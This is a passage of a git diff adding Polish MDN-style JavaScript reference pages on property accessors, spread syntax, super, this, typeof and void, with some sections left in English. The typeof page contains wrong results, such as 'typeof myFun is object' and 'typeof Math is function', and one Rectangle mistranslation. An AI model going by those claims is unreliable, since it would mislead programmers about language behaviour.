Pipeline operator draftStage 1Nie jest jeszcze częścią specyfikacji ECMAScript.
+ +

Wsparcie przeglądarek

+ +
+ + +

{{Compat("javascript.operators.pipeline")}}

+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/operators/property_accessors/index.html b/files/pl/web/javascript/reference/operators/property_accessors/index.html new file mode 100644 index 0000000000..5db4669011 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/property_accessors/index.html @@ -0,0 +1,177 @@ +--- +title: Operatory pamięci +slug: Web/JavaScript/Referencje/Operatory/Operatory_pamięci +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators/Property_Accessors +--- +
+
{{jsSidebar("Operators")}}
+
+ +

Operatory pamięci umożliwiają dostęp do właściwości lub metod obiektu.

+ +

Składnia

+ +
object.property
+object['property']
+
+ +

Opis

+ +

Obiekt, w rzeczywistości, jest kojarzeniową tablicą (jak mapa, słownik, hash, poglądowa tabela). Klucze w tablicy są nazwami właściwości i metod (właściwości odnoszących się do funkcji). Istnieją dwa sposoby uzyskania dostępu do właściwości: zapis z kropką lub zapis z nawiasem (operator indeksu dolnego).

+ +

Zapis z kropką

+ +
get = object.property;
+object.property = set;
+
+ +

property musi być nazwane poprawnie, według zasad JavaScript, innymi słowy: musi być sekwencją znaków alfanumerycznych (włączając w to znak podkreślenia oraz znak dolara), która nie zaczyna się od cyfry. Na przykład: object.$1 jest poprawny, natomiast object.1 jest nieprawidłowy.

+ +

Przykład:

+ +
document.createElement('pre');
+
+ +

Metoda "createElement" jest wywoływana z poziomu document.

+ +
Zapis z nawiasem
+ +
get = object[property_name];
+object[property_name] = set;
+
+ +

property_name jest łańcuchem znaków, nie musi być poprawnym identyfikatorem - może być zupełnie dowolny, przykładowo: "1foo", "!bar!" lub nawet " " (spacja).

+ +
document['createElement']('pre');
+
+ +

Mimo różnic, powyższa notacja wykonuje dokładnie to samo co zapis z kropką.

+ +

Nazwy właściwości

+ +

Nazwy właściwości muszą być łańcuchami. Oznacza to, że nazwy nie będące łańcuchami nie mogą być używane jako klucze w obiekcie. Dowolny obiekt nie będący łańcuchem, wliczając w to liczby, zostanie zrzutowany do obiektu string poprzez metodę {{jsxref("Object.toString", "toString()")}}.

+ +
var object = {};
+object['1'] = 'value';
+alert(object[1]);
+
+ +

Powyższy kod wyświetla "value", ponieważ 1 został zrzutowany do '1'.

+ +
var foo = {unique_prop: 1}, bar = {unique_prop: 2}, object = {};
+object[foo] = 'value';
+console.log(object[bar]);
+
+ +

W tym przykładzie także zostanie wypisany "value", ponieważ zarówno foo jak i bar zostały skonwertowane do tego samego łańcucha. W silniku JavaScript SpiderMonkey, łańcuch będzie wyglądał następująco: "{{ mediawiki.external('object Object') }}".

+ +

Wiązanie metod

+ +

Metoda nie jest powiązana z obiektem, którego jest metodą. Innymi słowy: this w metodzie nie jest ustawiony na sztywno. Nie musi on koniecznie odnosić się do obiektu zawierającego metodę. Zamiast tego this jest przekazywany do funkcji podczas jej wywoływania. Zajrzyj do wiązania metod po więcej informacji.

+ +

Uwaga dotycząca eval

+ +

Początkujący programiści JavaScript popełniają częsty błąd, używając eval tam gdzie może być użyty zapis z nawiasem. Poniżej zaprezentowany jest przykład.

+ +
x = eval('document.form_name.' + strFormControl + '.value');
+
+ +

eval jest wolno-działającą funkcją i powinien być jak najrzadziej używany. Zoptymalizowany fragment kodu brzmi:

+ +
x = document.form_name[strFormControl].value;
+
+ + +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-property-accessors', 'Property Accessors')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.2.1', 'Property Accessors')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1', '#sec-11.2.1', 'Property Accessors')}}{{Spec2('ES1')}}Definicja początkowa. Zaimplementowana w JavaScript 1.0.
+ +

Kompatybilność z przeglądarkami

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/operators/spread_syntax/index.html b/files/pl/web/javascript/reference/operators/spread_syntax/index.html new file mode 100644 index 0000000000..a45d730722 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/spread_syntax/index.html @@ -0,0 +1,244 @@ +--- +title: Składnia rozwinięcia +slug: Web/JavaScript/Referencje/Operatory/Składnia_rozwinięcia +translation_of: Web/JavaScript/Reference/Operators/Spread_syntax +--- +
{{jsSidebar("Operators")}}
+ +
Składnia rozwinięcia (ang. spread syntax) pozwala na rozwinięcie iterowalnego wyrażenia, takiego jak wyrażenie tablicowe lub ciąg znaków, tam gdzie oczekiwanych jest zero lub więcej argumentów (dla wywołań funkcji) lub elementów (dla literałów tablicowych). Pozwala również na rozwinięcie wyrażeń obiektowych w miejscach, gdzie oczekiwanych jest zero lub więcej par klucz-wartość (dla literałów obiektowych).
+ +
 
+ +
{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}
+ + + +

Składnia

+ +

Dla wywołań funkcji:

+ +
mojaFunkcja(...iterowalnyObiekt);
+
+ +

Dla literałów tablicowych lub łańcuchów znaków:

+ +
[...iterowalnyObiekt, '3', 'cztery', 5];
+ +

Dla literałów obiektowych (nowe w ECMAScript 2018):

+ +
let klonObiektu = { ...obiekt };
+ +

Przykłady

+ +

Rozwinięcie w wywołaniach funkcji

+ +

Zastąpienie apply

+ +

Powszechne jest używanie {{jsxref( "Function.prototype.apply")}} w przypadkach, w których chcemy użyć elementów tablicy jako argumentów funkcji.

+ +
function mojaFunkcja(x, y, z) { }
+var argumenty = [0, 1, 2];
+mojaFunkcja.apply(null, argumenty);
+ +

Przy użyciu operatora rozpakowania można to zapisać jako:

+ +
function mojaFunkcja(x, y, z) { }
+var argumenty = [0, 1, 2];
+mojaFunkcja(...argumenty);
+ +

Każdy argument na liście argumentów może użyć operatora rozpakowania, można go także używać wielokrotnie.

+ +
function mojaFunkcja(v, w, x, y, z) { }
+var argumenty = [0, 1];
+mojaFunkcja(-1, ...argumenty, 2, ...[3]);
+ +

Apply for new

+ +

When calling a constructor with new, it's not possible to directly use an array and apply (apply does a [[Call]] and not a [[Construct]]). However, an array can be easily used with new thanks to spread syntax:

+ +
var dateFields = [1970, 0, 1];  // 1 Jan 1970
+var d = new Date(...dateFields);
+
+ +

To use new with an array of parameters without spread syntax, you would have to do it indirectly through partial application:

+ +
function applyAndNew(constructor, args) {
+   function partial () {
+      return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+      partial.prototype = Object.create(constructor.prototype);
+   }
+   return partial;
+}
+
+
+function myConstructor () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+var myArguments = ["hi", "how", "are", "you", "mr", null];
+var myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
+
+console.log(new myConstructorWithArguments);
+// (internal log of myConstructor):           arguments.length: 6
+// (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null]
+// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}
+ +

Rozwinięcie w literałach tablicowych

+ +

Potężniejszy literał tablicowy

+ +

Bez składni rozwinięcia, aby utworzyć nową tablicę, używając tablicy już istniejącej jako jej części, składnia literału tablicowego nie jest już wystarczająca i musimy użyć kodu imperatywnego, używając kombinacji push, splice, concat itd. Z użyciem składni rozwinięcia staje się to o wiele prostsze i bardziej zwięzłe:

+ +
var czesci = ['kotek', 'na', 'plotek'];
+var wierszyk = ['wlazl', ...czesci, 'i', 'mruga'];
+// ["wlazl", "kotek", "na", "plotek", "i", "mruga"]
+
+ +

Tak jak dla list argumentów w wywołaniach funkcji, operator ... może być użyty wielokrotnie i w każdym miejscu literału tablicowego.

+ +

Kopia tablicy

+ +
var tab = [1, 2, 3];
+var tab2 = [...tab]; // jak tab.slice()
+tab2.push(4);
+
+// tab2 staje się [1, 2, 3, 4]
+// tab pozostaje niezmieniona
+
+ +

Uwaga: Składnia rozwinięcia skutecznie sięga tylko na jeden poziom wgłąb przy kopiowaniu tablicy. W związku z tym takie podejście może być nieodpowiednie przy kopiowaniu tablic wielowymiarowych, jak pokazuje poniższy przykład (tak samo jest z {{jsxref("Object.assign()")}}  i kładnią rozwinięcia).

+ +
var a = [[1], [2], [3]];
+var b = [...a];
+b.shift().shift(); // 1
+// Tablica a została zmodyfikowana: [[], [2], [3]]
+
+ +

Lepszy sposób na łączenie tablic

+ +

{{jsxref("Array.concat")}} jest często używane do dołączania elementów jednej tablicy na koniec drugiej. Bez składni rozwinięcia wygląda to tak:

+ +
var tab1 = [0, 1, 2];
+var tab2 = [3, 4, 5];
+// Dołącz wszystkie elementy tab2 na koniec tab1
+tab1 = tab1.concat(tab2);
+ +

Przy użyciu składni rozwinięcia wygląda to natomiast tak:

+ +
var tab1 = [0, 1, 2];
+var tab2 = [3, 4, 5];
+tab1 = [...tab1, ...tab2];
+
+ +

{{jsxref("Array.unshift")}} jest często używane do dołączania elementów jednej tablicy na początek drugiej. Bez składni rozwinięcia wygląda to w następujący sposób:

+ +
var tab1 = [0, 1, 2];
+var tab2 = [3, 4, 5];
+// Dodaj wszystkie elementy tab2 na początek tab1
+Array.prototype.unshift.apply(tab1, tab2) // tab1 staje się [3, 4, 5, 0, 1, 2]
+ +

Przy użyciu składni rozwinięcia otrzymuje to następującą postać [jednak zauważ, że w tym przypadku utworzona zostaje nowa tablica tab1 – w odróżnieniu od {{jsxref("Array.unshift")}}, tab1 nie jest automatycznie modyfikowana):

+ +
var tab1 = [0, 1, 2];
+var tab2 = [3, 4, 5];
+tab1 = [...tab2, ...tab1]; // tab1 staje się [3, 4, 5, 0, 1, 2]
+
+ +

Rozwinięcie w literałach tablicowych

+ +

The Rest/Spread Properties for ECMAScript proposal (stage 4) adds spread properties to object literals. It copies own enumerable properties from a provided object onto a new object.

+ +

Shallow-cloning (excluding prototype) or merging of objects is now possible using a shorter syntax than {{jsxref("Object.assign()")}}.

+ +
var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }
+ +

Note that {{jsxref("Object.assign()")}} triggers setters whereas spread syntax doesn't.

+ +

Note that you cannot replace nor mimic the {{jsxref("Object.assign()")}} function:

+ +
var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+const merge = ( ...objects ) => ( { ...objects } );
+
+var mergedObj = merge ( obj1, obj2);
+// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
+
+var mergedObj = merge ( {}, obj1, obj2);
+// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }
+ +

In the above example, the spread syntax does not work as one might expect: it spreads an array of arguments into the object literal, due to the rest parameter.

+ +

Tylko dla obiektów iterowalnych

+ +

Składnia rozwinięcia może być użyta jedynie dla obiektów iterowalnych:

+ +
var obiekt = {'klucz1': 'wartosc1'};
+var tablica = [...obiekt]; // TypeError: obiekt is not iterable
+
+ +

Rozwinięcie z wieloma wartościami

+ +

Kiedy używaż składni rozwinięcia do wywołań funkcji, musisz być świadomy możliwości przekroczenia limitu liczby argumentów w silniku JavaScript. Po więcej szczegółów zajrzyj do apply().

+ +

Składnia reszty (parametry)

+ +

Składnia reszty ang. rest syntax) wygląda dokładnie jak składnia rozwinięcia, ale jest używana do destrukturyzacji tablic i obiektów. W pewnym sensie składnia reszty jest przeciwieństwem składni rozpakowania: rozwinięcie „rozpakowuje” elementy tablicy, natomiast składnia reszty „zbiera” wiele elementów i „pakuje” je do pojedynczego elementu. Zobacz: rest parameters.

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-array-initializer')}}{{Spec2('ES2015')}}Defined in several sections of the specification: Array Initializer, Argument Lists
{{SpecName('ES2018', '#sec-object-initializer')}}{{Spec2('ES2018')}}Defined in Object Initializer
{{SpecName('ESDraft', '#sec-array-initializer')}}{{Spec2('ESDraft')}}No changes.
{{SpecName('ESDraft', '#sec-object-initializer')}}{{Spec2('ESDraft')}}No changes.
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.operators.spread")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/operators/super/index.html b/files/pl/web/javascript/reference/operators/super/index.html new file mode 100644 index 0000000000..c217af33e9 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/super/index.html @@ -0,0 +1,171 @@ +--- +title: super +slug: Web/JavaScript/Referencje/Operatory/super +translation_of: Web/JavaScript/Reference/Operators/super +--- +
{{jsSidebar("Operators")}}
+ +

Słowo kluczowe super jest wykorzystywane do udostępniania i korzystania z funkcji klasy po której nasz obiekt dziedziczy.

+ +

Wyrażenia super.prop i super[expr] są poprawne w każdej definicji metody zarówno w klasach i literałach obiektowych.

+ +

Składnia

+ +
super([arguments]); // wywołuje konstruktor klasy rodzica
+super.functionOnParent([arguments]);
+
+ +

Opis

+ +

W przypadku użycia w konstruktorze, słowo kluczowe super pojawia się samodzielnie i musi zostać użyte przed użyciem słowa kluczowego this . Słowo kluczowe super  można również wykorzystać do wywoływania funkcji które nasz obiekt odziedziczył po swoim rodzicu.

+ +

Przykład

+ +

Użycie super w klasach

+ +

Poniższy snippet został pobrany z próbki klasy (live demo). W tym przykładzie, super() jest wywoływane w celu uniknięcia powielania tych części konstruktora, które są wspólne zarówno dla Rectangle (trójkąta) jak i Square (kwadratu).

+ +
class Rectangle {
+  constructor(height, width) {
+    this.name = 'Rectangle';
+    this.height = height;
+    this.width = width;
+  }
+  sayName() {
+    console.log('Hi, I am a ', this.name + '.');
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set area(value) {
+    this._area = value;
+  }
+}
+
+class Square extends Rectangle {
+  constructor(length) {
+    this.height; // ReferenceError, super needs to be called first!
+
+    // Wywołanie konstruktora klasy nadrzędnej
+    // określenie szerokości i wysokości prostokąta
+    super(length, length);
+    // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż
+    // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia.
+    this.name = 'Square';
+  }
+}
+ +

Super-wywołanie metod statycznych

+ +

Za pomocą super jesteś w stanie także wywołać metody statyczne.

+ +
class Rectangle {
+  constructor() {}
+  static logNbSides() {
+    return 'I have 4 sides';
+  }
+}
+
+class Square extends Rectangle {
+  constructor() {}
+  static logDescription() {
+    return super.logNbSides() + ' which are all equal';
+  }
+}
+Square.logDescription(); // 'I have 4 sides which are all equal'
+
+ +

Usuwanie właściwości z super wyrzuci błąd

+ +

Nie możesz użyć operatora usuwania oraz super.prop bądź super[expr] w celu usunięcia właściwości klasy rodzica ponieważ zostanie zwrócony błąd {{jsxref("ReferenceError")}}.

+ +
class Base {
+  constructor() {}
+  foo() {}
+}
+class Derived extends Base {
+  constructor() {}
+  delete() {
+    delete super.foo; // to jest niepoprawnie
+  }
+}
+
+new Derived().delete(); // ReferenceError: invalid delete involving 'super'. 
+ +

super.prop nie może nadpisać właściwości typu non-writable 

+ +

Definiując właściwości non-writable (niezapisywalne) np. {{jsxref("Object.defineProperty")}}, pamiętaj, że super nie może nadpisać takiej wartości.

+ +
class X {
+  constructor() {
+    Object.defineProperty(this, 'prop', {
+      configurable: true,
+      writable: false,
+      value: 1
+    });
+  }
+}
+
+class Y extends X {
+  constructor() {
+    super();
+  }
+  foo() {
+    super.prop = 2;   // Nie można nadpisać wartości
+  }
+}
+
+var y = new Y();
+y.foo(); // TypeError: "prop" is read-only
+console.log(y.prop); // 1
+
+ +

Używanie super.prop w literałach obiektowych

+ +

super może być także wykorzystane inicjalizatorze / literale obiektu.

+ +

W tym przykładzie dwa obiekty definiują swoją metodę. W drugim obiekcie, super wywołuje metodę obiektu pierwszego. To działa dzięki {{jsxref("Object.setPrototypeOf()")}} z czym jesteśmy w stanie ustawić prototyp obiektu obj2 na obj1, tak aby super było w stanie znaleźć metodę method1 w obiekcie obj1.

+ +
var obj1 = {
+  method1() {
+    console.log('method 1');
+  }
+}
+
+var obj2 = {
+  method2() {
+    super.method1();
+  }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // wypisze "method 1"
+
+ +

Specyfikacje

+ + + + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}
+ +

Kompatybilność

+ + + +

{{Compat("javascript.operators.super")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/operators/this/index.html b/files/pl/web/javascript/reference/operators/this/index.html new file mode 100644 index 0000000000..523e210cb6 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/this/index.html @@ -0,0 +1,346 @@ +--- +title: this +slug: Web/JavaScript/Referencje/Operatory/this +translation_of: Web/JavaScript/Reference/Operators/this +--- +
+
{{jsSidebar("Operators")}}
+
+ +

Summary

+ +

W JavaScript słówko kluczowe this zachowuje się nieco inaczej w porównaniu do innych języków programowania. Istnieje również kilka różnic między trybem strict mode oraz non-strict mode.

+ +

W większości przypadków wartość this jest ustalana na podstawie tego, jak wywołana została dana funkcja. Wartość ta nie może być przypisana podczas wykonywania się funkcji i może być inna za każdym wywołaniem. ES5 wprowadziło metodę bind dzięki której możemy przypisać wartość this w funkcji, niezależnie od tego jak została ona wywołana.

+ +

Syntax

+ +
this
+ +

Global context

+ +

In the global execution context (outside of any function), this refers to the global object, whether in strict mode or not.

+ +
console.log(this.document === document); // true
+
+// In web browsers, the window object is also the global object:
+console.log(this === window); // true
+
+this.a = 37;
+console.log(window.a); // 37
+
+ +

Function context

+ +

Inside a function, the value of this depends on how the function is called.

+ +

Simple call

+ +
function f1(){
+  return this;
+}
+
+f1() === window; // global object
+
+ +

In this case, the value of this is not set by the call. Since the code is not in strict mode, the value of this must always be an object so it defaults to the global object.

+ +
function f2(){
+  "use strict"; // see strict mode
+  return this;
+}
+
+f2() === undefined;
+
+ +

In strict mode, the value of this remains at whatever it's set to when entering the execution context. If it's not defined, it remains undefined. It can also be set to any value, such as null or 42 or "I am not this".

+ +
Note: In the second example, this should be undefined, because f2 was called without providing any base (e.g. window.f2()). This feature wasn't implemented in some browsers when they first started to support strict mode. As a result, they incorrectly returned the window object.
+ +

As an object method

+ +

When a function is called as a method of an object, its this is set to the object the method is called on.

+ +

In the following example, when o.f() is invoked, inside the function this is bound to the o object.

+ +
var o = {
+  prop: 37,
+  f: function() {
+    return this.prop;
+  }
+};
+
+console.log(o.f()); // logs 37
+
+ +

Note that this behavior is not at all affected by how or where the function was defined. In the previous example, we defined the function inline as the f member during the definition of o. However, we could have just as easily defined the function first and later attached it to o.f. Doing so results in the same behavior:

+ +
var o = {prop: 37};
+
+function independent() {
+  return this.prop;
+}
+
+o.f = independent;
+
+console.log(o.f()); // logs 37
+
+ +

This demonstrates that it matters only that the function was invoked from the f member of o.

+ +

Similarly, the this binding is only affected by the most immediate member reference. In the following example, when we invoke the function, we call it as a method g of the object o.b. This time during execution, this inside the function will refer to o.b. The fact that the object is itself a member of o has no consequence; the most immediate reference is all that matters.

+ +
o.b = {g: independent, prop: 42};
+console.log(o.b.g()); // logs 42
+
+ +

this on the object's prototype chain

+ +

The same notion holds true for methods defined somewhere on the object's prototype chain. If the method is on an object's prototype chain, this refers to the object the method was called on, as if the method was on the object.

+ +
var o = {f:function(){ return this.a + this.b; }};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+
+ +

In this example, the object assigned to the variable p doesn't have its own f property, it inherits it from its prototype. But it doesn't matter that the lookup for f eventually finds a member with that name on o; the lookup began as a reference to p.f, so this inside the function takes the value of the object referred to as p. That is, since f is called as a method of p, its this refers to p. This is an interesting feature of JavaScript's prototype inheritance.

+ +

this with a getter or setter

+ +

Again, the same notion holds true when a function is invoked from a getter or a setter. A function used as getter or setter has its this bound to the object from which the property is being set or gotten.

+ +
function modulus(){
+  return Math.sqrt(this.re * this.re + this.im * this.im);
+}
+
+var o = {
+  re: 1,
+  im: -1,
+  get phase(){
+    return Math.atan2(this.im, this.re);
+  }
+};
+
+Object.defineProperty(o, 'modulus', {
+    get: modulus, enumerable:true, configurable:true});
+
+console.log(o.phase, o.modulus); // logs -0.78 1.4142
+
+ +

As a constructor

+ +

When a function is used as a constructor (with the new keyword), its this is bound to new object being constructed.

+ +

Note: while the default for a constructor is to return the object referenced by this, it can instead return some other object (if the return value isn't an object, then the this object is returned).

+ +
/*
+ * Constructors work like this:
+ *
+ * function MyConstructor(){
+ *   // Actual function body code goes here.
+ *   // Create properties on |this| as
+ *   // desired by assigning to them.  E.g.,
+ *   this.fum = "nom";
+ *   // et cetera...
+ *
+ *   // If the function has a return statement that
+ *   // returns an object, that object will be the
+ *   // result of the |new| expression.  Otherwise,
+ *   // the result of the expression is the object
+ *   // currently bound to |this|
+ *   // (i.e., the common case most usually seen).
+ * }
+ */
+
+function C(){
+  this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // logs 37
+
+
+function C2(){
+  this.a = 37;
+  return {a:38};
+}
+
+o = new C2();
+console.log(o.a); // logs 38
+
+ +

In the last example (C2), because an object was returned during construction, the new object that this was bound to simply gets discarded. (This essentially makes the statement "this.a = 37;" dead code. It's not exactly dead, because it gets executed, but it can be eliminated with no outside effects.)

+ +

call and apply

+ +

Where a function uses the this keyword in its body, its value can be bound to a particular object in the call using the call or apply methods that all functions inherit from Function.prototype.

+ +
function add(c, d){
+  return this.a + this.b + c + d;
+}
+
+var o = {a:1, b:3};
+
+// The first parameter is the object to use as
+// 'this', subsequent parameters are passed as
+// arguments in the function call
+add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
+
+// The first parameter is the object to use as
+// 'this', the second is an array whose
+// members are used as the arguments in the function call
+add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
+
+ +

Note that with call and apply, if the value passed as this is not an object, an attempt will be made to convert it to an object using the internal ToObject operation. So if the value passed is a primitive like 7 or 'foo', it will be converted to an Object using the related constructor, so the primitive number 7 is converted to an object as if by new Number(7) and the string 'foo' to an object as if by new String('foo'), e.g.

+ +
function bar() {
+  console.log(Object.prototype.toString.call(this));
+}
+
+bar.call(7); // [object Number]
+
+ +

The bind method

+ +

ECMAScript 5 introduced Function.prototype.bind. Calling f.bind(someObject) creates a new function with the same body and scope as f, but where this occurs in the original function, in the new function it is permanently bound to the first argument of bind, regardless of how the function is being used.

+ +
function f(){
+  return this.a;
+}
+
+var g = f.bind({a:"azerty"});
+console.log(g()); // azerty
+
+var o = {a:37, f:f, g:g};
+console.log(o.f(), o.g()); // 37, azerty
+
+ +

As a DOM event handler

+ +

When a function is used as an event handler, its this is set to the element the event fired from (some browsers do not follow this convention for listeners added dynamically with methods other than addEventListener).

+ +
// When called as a listener, turns the related element blue
+function bluify(e){
+  // Always true
+  console.log(this === e.currentTarget);
+  // true when currentTarget and target are the same object
+  console.log(this === e.target);
+  this.style.backgroundColor = '#A5D9F3';
+}
+
+// Get a list of every element in the document
+var elements = document.getElementsByTagName('*');
+
+// Add bluify as a click listener so when the
+// element is clicked on, it turns blue
+for(var i=0 ; i<elements.length ; i++){
+  elements[i].addEventListener('click', bluify, false);
+}
+ +

In an in–line event handler

+ +

When code is called from an in–line handler, its this is set to the DOM element on which the listener is placed:

+ +
<button onclick="alert(this.tagName.toLowerCase());">
+  Show this
+</button>
+
+ +

The above alert shows button. Note however that only the outer code has its this set this way:

+ +
<button onclick="alert((function(){return this}()));">
+  Show inner this
+</button>
+
+ +

In this case, the inner function's this isn't set so it returns the global/window object (i.e. the default object in non–strict mode where this isn't set by the call).

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition. Implemented in JavaScript 1.0
{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-this-keyword', 'The this keyword')}}{{Spec2('ES6')}}
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/operators/typeof/index.html b/files/pl/web/javascript/reference/operators/typeof/index.html new file mode 100644 index 0000000000..dfb169a9b5 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/typeof/index.html @@ -0,0 +1,91 @@ +--- +title: Operator typeof +slug: Web/JavaScript/Referencje/Operatory/Operator_typeof +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/typeof +--- +

 

+ +

Podsumowanie

+ +

Operator typeof używa się na jeden z poniższych sposobów:

+ +
    +
  1. typeof operand
  2. +
  3. typeof (operand )
  4. +
+ +

Operator typeof zwraca łańcuch zawierający type of unevaluated operand: jak przetłumaczyć unevaluated?typ operandu. operand jest łańcuchem znaków, zmienną, słowem kluczowym lub obiektem, którego typ ma zostać zwrócony. Zastosowanie nawiasów jest opcjonalne.

+ + + + + + + + + + + + + + + +
Operator
Zaimplementowany w:JavaScript 1.1
Wersja ECMA:ECMA-262
+ +

Zakładamy, że możemy zdefiniować następujące zmienne:

+ +
var myFun = new Function("5+2")
+var shape="round"
+var size=1
+var today=new Date()
+
+ +

Operator typeof zwróci następujący rezultat dla tych zmiennych:

+ +
typeof myFun is object
+typeof shape is string
+typeof size is number
+typeof today is object
+typeof dontExist is undefined
+
+ +

Dla słów kluczowych true oraz null, operator typeof zwraca następujący rezultat:

+ +
typeof true is boolean
+typeof null is object
+
+ +

Dla liczby lub łańcucha znaków, operator typeof zwraca następujący rezultat:

+ +
typeof 62 is number
+typeof 'Hello world' is string
+
+ +

Dla własności wartości, operator typeof zwraca typ wartości własności, jakie składają się na treść:

+ +
typeof document.lastModified is string
+typeof window.length is number
+typeof Math.LN2 is number
+
+ +

Dla metod i funkcji, operator typeof zwraca następujący rezultat:

+ +
typeof blur is function
+typeof eval is function
+typeof parseInt is function
+typeof shape.split is function
+
+ +

Dla obiektów predefiniowanych, operator typeof zwraca następujący rezultat:

+ +
typeof Date is function
+typeof Function is function
+typeof Math is function
+typeof Option is function
+typeof String is function
+
diff --git a/files/pl/web/javascript/reference/operators/void/index.html b/files/pl/web/javascript/reference/operators/void/index.html new file mode 100644 index 0000000000..65b3fe8fa2 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/void/index.html @@ -0,0 +1,51 @@ +--- +title: Operator void +slug: Web/JavaScript/Referencje/Operatory/Operator_void +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/void +--- +

 

+ +

Podsumowanie

+ +

Operator void może być używany na jeden z dwóch sposobów:

+ +
    +
  1. void (wyrażenie )
  2. +
  3. void wyrażenie
  4. +
+ +

Operator void określa wyrażenie, które ma zostać ocenione bez zwracania wartości. wyrażenie jest wyrażeniem JavaScript, które ma zostać ocenione. Nawiasy dookoła wyrażenia są opcjonalne, ale używanie ich jest w dobrym stylu.

+ + + + + + + + + + + + + + + +
Operator
Zaimplementowany w:JavaScript 1.1
Wersja ECMA:ECMA-262
+ +

Możesz użyć operatora void, aby określić wyrażenie jako hipertekstowy odnośnik. Wyrażenie jest oceniane, ale nie jest ładowane w miejsce aktualnego dokumentu.

+ +

Poniższy kod tworzy hipertekstowy odnośnik, który nie wykonuje nic po kliknięciu go przez użytkownika. Gdy użytkownik kliknie odnośnik, void(0) zostanie oceniony jako 0, jednak nie ma to żadnego efektu w JavaScripcie.

+ +
<a href="javascript:void(0)">Kliknij tutaj, żeby nic się nie stało</a>
+
+ +

Poniższy kod tworzy hipertekstowy odnośnik, który wysyła formularz, gdy zostanie kliknięty przez użytkownika.

+ +
<a href="javascript:void(document.form.submit())">
+Kliknij tutaj, aby wysłać.</a>
+
diff --git a/files/pl/web/javascript/reference/operators/yield/index.html b/files/pl/web/javascript/reference/operators/yield/index.html new file mode 100644 index 0000000000..8d814a5aa8 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/yield/index.html @@ -0,0 +1,168 @@ +--- +title: yield +slug: Web/JavaScript/Referencje/Operatory/yield +translation_of: Web/JavaScript/Reference/Operators/yield +--- +
{{jsSidebar("Operators")}}
